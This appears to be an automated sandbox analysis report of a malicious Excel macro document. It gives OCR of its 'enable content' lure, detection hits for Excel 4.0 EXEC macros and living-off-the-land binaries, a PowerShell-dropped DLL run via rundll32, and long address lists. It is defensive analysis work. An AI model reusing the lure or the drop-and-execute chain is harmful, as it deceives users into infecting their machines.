Source: Document image extraction number: 1 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 1 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Screenshot number: 8 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 17 18 19 20 21 22 23 G
Source: Screenshot number: 8 Screenshot OCR: DOCUMENT IS PROTECTED. 11 12 13 14 , . Previewing is not available for protected documents. 15
Source: Screenshot number: 8 Screenshot OCR: protected documents. 15 16 You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to pre
Source: Screenshot number: 8 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 17 18 19 20 21 22 23 G) I I 24 25 26 27
Document contains OLE streams with names of living off the land binaries
Source: imedpub.com_10.xls Stream path 'Workbook' : ........ZO..........................\.p....xXx B.....a.........=.............................................=........p.08.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.*.h...6...........C.a.l.i.b.r.i. .L.i.g.h.t.1...,...6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......<...........C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......9...........C.a.l.i.b.r.i...3......#.,.#.#.0.\. .".. ".;.\.-.#.,.#.#.0.\. .".. "...=......#.,.#.#.0.\. .".. ".;.[.R.e.d.].\.-.#.,.#.#.0.\. .".. "...?......#.,.#.#.0...0.0.\. .".. ".;.\.-.#.,.#.#.0...0.0.\. .".. "...I..."..#.,.#.#.0...0.0.\. .".. ".;.[.R.e.d.].\.-.#.,.#.#.0...0.0.\. .".. "...q.*.6.._.-.*. .#.,.#.#.0.\. .".. "._.-.;.\.-.*. .#.,.#.#.0.\. .".. "._.-.;._.-.*. .".-.".\. .".. "._.-.;._.-.@._.-...,.).'.._-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-....,.>.._.-.*. .#.,.#.#.0...0.0.\. .".. "._.-.;.\.-.*. .#.,.#.#.0...0.0.\. .".. "._.-.;._.-.*. .".-.".?.?.\. .".. "._.-.;._.-.@._.-...4.+./.._-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-..?...:.._("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_).......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .....
Source: imedpub.com_10.xls.0.dr Stream path 'Workbook' : ........ZO..........................\.p....user B.....a.........=.............................................=........p.08.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.*.h...6...........C.a.l.i.b.r.i. .L.i.g.h.t.1...,...6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......<...........C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......9...........C.a.l.i.b.r.i...3......#.,.#.#.0.\. .".. ".;.\.-.#.,.#.#.0.\. .".. "...=......#.,.#.#.0.\. .".. ".;.[.R.e.d.].\.-.#.,.#.#.0.\. .".. "...?......#.,.#.#.0...0.0.\. .".. ".;.\.-.#.,.#.#.0...0.0.\. .".. "...I..."..#.,.#.#.0...0.0.\. .".. ".;.[.R.e.d.].\.-.#.,.#.#.0...0.0.\. .".. "...q.*.6.._.-.*. .#.,.#.#.0.\. .".. "._.-.;.\.-.*. .#.,.#.#.0.\. .".. "._.-.;._.-.*. .".-.".\. .".. "._.-.;._.-.@._.-...,.).'.._-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-....,.>.._.-.*. .#.,.#.#.0...0.0.\. .".. "._.-.;.\.-.*. .#.,.#.#.0...0.0.\. .".. "._.-.;._.-.*. .".-.".?.?.\. .".. "._.-.;._.-.@._.-...4.+./.._-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-..?...:.._("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_).......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .....
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\Public\Documents\ssd.dll Jump to dropped file
Found Excel 4.0 Macro with suspicious formulas
Source: imedpub.com_10.xls Initial sample: EXEC
Source: imedpub.com_10.xls Initial sample: EXEC
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10036007 9_2_10036007
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10041050 9_2_10041050
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1003130F 9_2_1003130F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_100323E2 9_2_100323E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10030460 9_2_10030460
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10041592 9_2_10041592
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1003E59F 9_2_1003E59F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1003960C 9_2_1003960C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_100317E2 9_2_100317E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10040B0E 9_2_10040B0E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10031BB6 9_2_10031BB6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10041C56 9_2_10041C56
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10036CB5 9_2_10036CB5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1001CD16 9_2_1001CD16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10042D21 9_2_10042D21
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10031FC2 9_2_10031FC2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079F8FD 9_2_0079F8FD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079E991 9_2_0079E991
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079AB87 9_2_0079AB87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A907F 9_2_007A907F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00792051 9_2_00792051
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B0056 9_2_007B0056
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00799011 9_2_00799011
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A0001 9_2_007A0001
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A20BA 9_2_007A20BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007970B3 9_2_007970B3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079F09B 9_2_0079F09B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A4116 9_2_007A4116
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007951BB 9_2_007951BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007981B7 9_2_007981B7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00792251 9_2_00792251
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AA2E8 9_2_007AA2E8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079E2CC 9_2_0079E2CC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079B2C7 9_2_0079B2C7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00795361 9_2_00795361
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00794346 9_2_00794346
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B13AD 9_2_007B13AD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AC3A0 9_2_007AC3A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AE395 9_2_007AE395
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AD389 9_2_007AD389
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A044F 9_2_007A044F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AF435 9_2_007AF435
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007964E2 9_2_007964E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079A55F 9_2_0079A55F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A2550 9_2_007A2550
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00795548 9_2_00795548
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A8519 9_2_007A8519
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A95FA 9_2_007A95FA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079E5CF 9_2_0079E5CF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AA666 9_2_007AA666
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AC631 9_2_007AC631
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A8606 9_2_007A8606
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079D6D8 9_2_0079D6D8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A66CA 9_2_007A66CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A176B 9_2_007A176B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079B74D 9_2_0079B74D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A473C 9_2_007A473C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00797735 9_2_00797735
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00799714 9_2_00799714
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00794816 9_2_00794816
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A1889 9_2_007A1889
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00798969 9_2_00798969
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A894B 9_2_007A894B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007959F2 9_2_007959F2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B09B5 9_2_007B09B5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00791A56 9_2_00791A56
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AAA30 9_2_007AAA30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079EA99 9_2_0079EA99
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079BB7E 9_2_0079BB7E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007ACB5B 9_2_007ACB5B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00798B3D 9_2_00798B3D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007ABB23 9_2_007ABB23
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A0B19 9_2_007A0B19
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007ADBEA 9_2_007ADBEA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A8BE3 9_2_007A8BE3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00792BD9 9_2_00792BD9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A9BCF 9_2_007A9BCF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A7BA6 9_2_007A7BA6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00799B83 9_2_00799B83
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A4B87 9_2_007A4B87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00794C5D 9_2_00794C5D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A6C49 9_2_007A6C49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AAC3A 9_2_007AAC3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00793C3C 9_2_00793C3C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00797C37 9_2_00797C37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B0C14 9_2_007B0C14
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007ADCF7 9_2_007ADCF7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A5CC4 9_2_007A5CC4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00796D24 9_2_00796D24
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A6DF8 9_2_007A6DF8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A7DD5 9_2_007A7DD5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00799DCF 9_2_00799DCF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AAE6D 9_2_007AAE6D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00795E60 9_2_00795E60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A0E53 9_2_007A0E53
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B0E3A 9_2_007B0E3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00793E3F 9_2_00793E3F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007ABE27 9_2_007ABE27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079AEFB 9_2_0079AEFB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A9EEC 9_2_007A9EEC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00794EE3 9_2_00794EE3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007ADEDC 9_2_007ADEDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079EE81 9_2_0079EE81
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079CF47 9_2_0079CF47
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B0F33 9_2_007B0F33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0079DFF3 9_2_0079DFF3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00797FF2 9_2_00797FF2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00223C3C 10_2_00223C3C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00229011 10_2_00229011
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023044F 10_2_0023044F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002320BA 10_2_002320BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022F8FD 10_2_0022F8FD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022D6D8 10_2_0022D6D8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00234116 10_2_00234116
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002413AD 10_2_002413AD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022AB87 10_2_0022AB87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00227FF2 10_2_00227FF2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002259F2 10_2_002259F2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002395FA 10_2_002395FA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023BE27 10_2_0023BE27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023C631 10_2_0023C631
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023AA30 10_2_0023AA30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00227C37 10_2_00227C37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023F435 10_2_0023F435
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023AC3A 10_2_0023AC3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00223E3F 10_2_00223E3F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00240E3A 10_2_00240E3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00230001 10_2_00230001
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00238606 10_2_00238606
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00240C14 10_2_00240C14
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00224816 10_2_00224816
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00225E60 10_2_00225E60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023A666 10_2_0023A666
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023AE6D 10_2_0023AE6D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023907F 10_2_0023907F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00236C49 10_2_00236C49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00230E53 10_2_00230E53
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00240056 10_2_00240056
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00222051 10_2_00222051
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00222251 10_2_00222251
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00221A56 10_2_00221A56
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00224C5D 10_2_00224C5D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002270B3 10_2_002270B3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022EE81 10_2_0022EE81
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00231889 10_2_00231889
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022F09B 10_2_0022F09B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022EA99 10_2_0022EA99
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002264E2 10_2_002264E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00224EE3 10_2_00224EE3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023A2E8 10_2_0023A2E8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00239EEC 10_2_00239EEC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023DCF7 10_2_0023DCF7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022AEFB 10_2_0022AEFB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022B2C7 10_2_0022B2C7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00235CC4 10_2_00235CC4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002366CA 10_2_002366CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022E2CC 10_2_0022E2CC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023DEDC 10_2_0023DEDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023BB23 10_2_0023BB23
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00226D24 10_2_00226D24
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00227735 10_2_00227735
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00240F33 10_2_00240F33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023473C 10_2_0023473C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00228B3D 10_2_00228B3D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00229714 10_2_00229714
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00238519 10_2_00238519
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00230B19 10_2_00230B19
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00225361 10_2_00225361
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023176B 10_2_0023176B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00228969 10_2_00228969
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022BB7E 10_2_0022BB7E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00224346 10_2_00224346
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022CF47 10_2_0022CF47
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023894B 10_2_0023894B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00225548 10_2_00225548
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022B74D 10_2_0022B74D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00232550 10_2_00232550
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023CB5B 10_2_0023CB5B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022A55F 10_2_0022A55F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023C3A0 10_2_0023C3A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00237BA6 10_2_00237BA6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002409B5 10_2_002409B5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002281B7 10_2_002281B7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002251BB 10_2_002251BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00229B83 10_2_00229B83
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00234B87 10_2_00234B87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023D389 10_2_0023D389
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022E991 10_2_0022E991
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023E395 10_2_0023E395
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00238BE3 10_2_00238BE3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023DBEA 10_2_0023DBEA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022DFF3 10_2_0022DFF3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00236DF8 10_2_00236DF8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00239BCF 10_2_00239BCF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00229DCF 10_2_00229DCF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0022E5CF 10_2_0022E5CF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00237DD5 10_2_00237DD5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00222BD9 10_2_00222BD9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10036007 11_2_10036007
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10041050 11_2_10041050
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_1003130F 11_2_1003130F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_100323E2 11_2_100323E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10030460 11_2_10030460
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10041592 11_2_10041592
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_1003E59F 11_2_1003E59F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_1003960C 11_2_1003960C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_100317E2 11_2_100317E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10040B0E 11_2_10040B0E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10031BB6 11_2_10031BB6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10041C56 11_2_10041C56
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10036CB5 11_2_10036CB5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_1001CD16 11_2_1001CD16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10042D21 11_2_10042D21
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10031FC2 11_2_10031FC2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033F8FD 11_2_0033F8FD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033E991 11_2_0033E991
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033AB87 11_2_0033AB87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00339011 11_2_00339011
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00340001 11_2_00340001
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034907F 11_2_0034907F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00332051 11_2_00332051
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00350056 11_2_00350056
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_003370B3 11_2_003370B3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_003420BA 11_2_003420BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033F09B 11_2_0033F09B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00344116 11_2_00344116
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_003381B7 11_2_003381B7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_003351BB 11_2_003351BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00332251 11_2_00332251
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034A2E8 11_2_0034A2E8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033B2C7 11_2_0033B2C7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0033E2CC 11_2_0033E2CC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00335361 11_2_00335361
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00334346 11_2_00334346
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034C3A0 11_2_0034C3A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_003513AD 11_2_003513AD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034E395 11_2_0034E395
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034D389 11_2_0034D389
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0034F435 11_2_0034F435
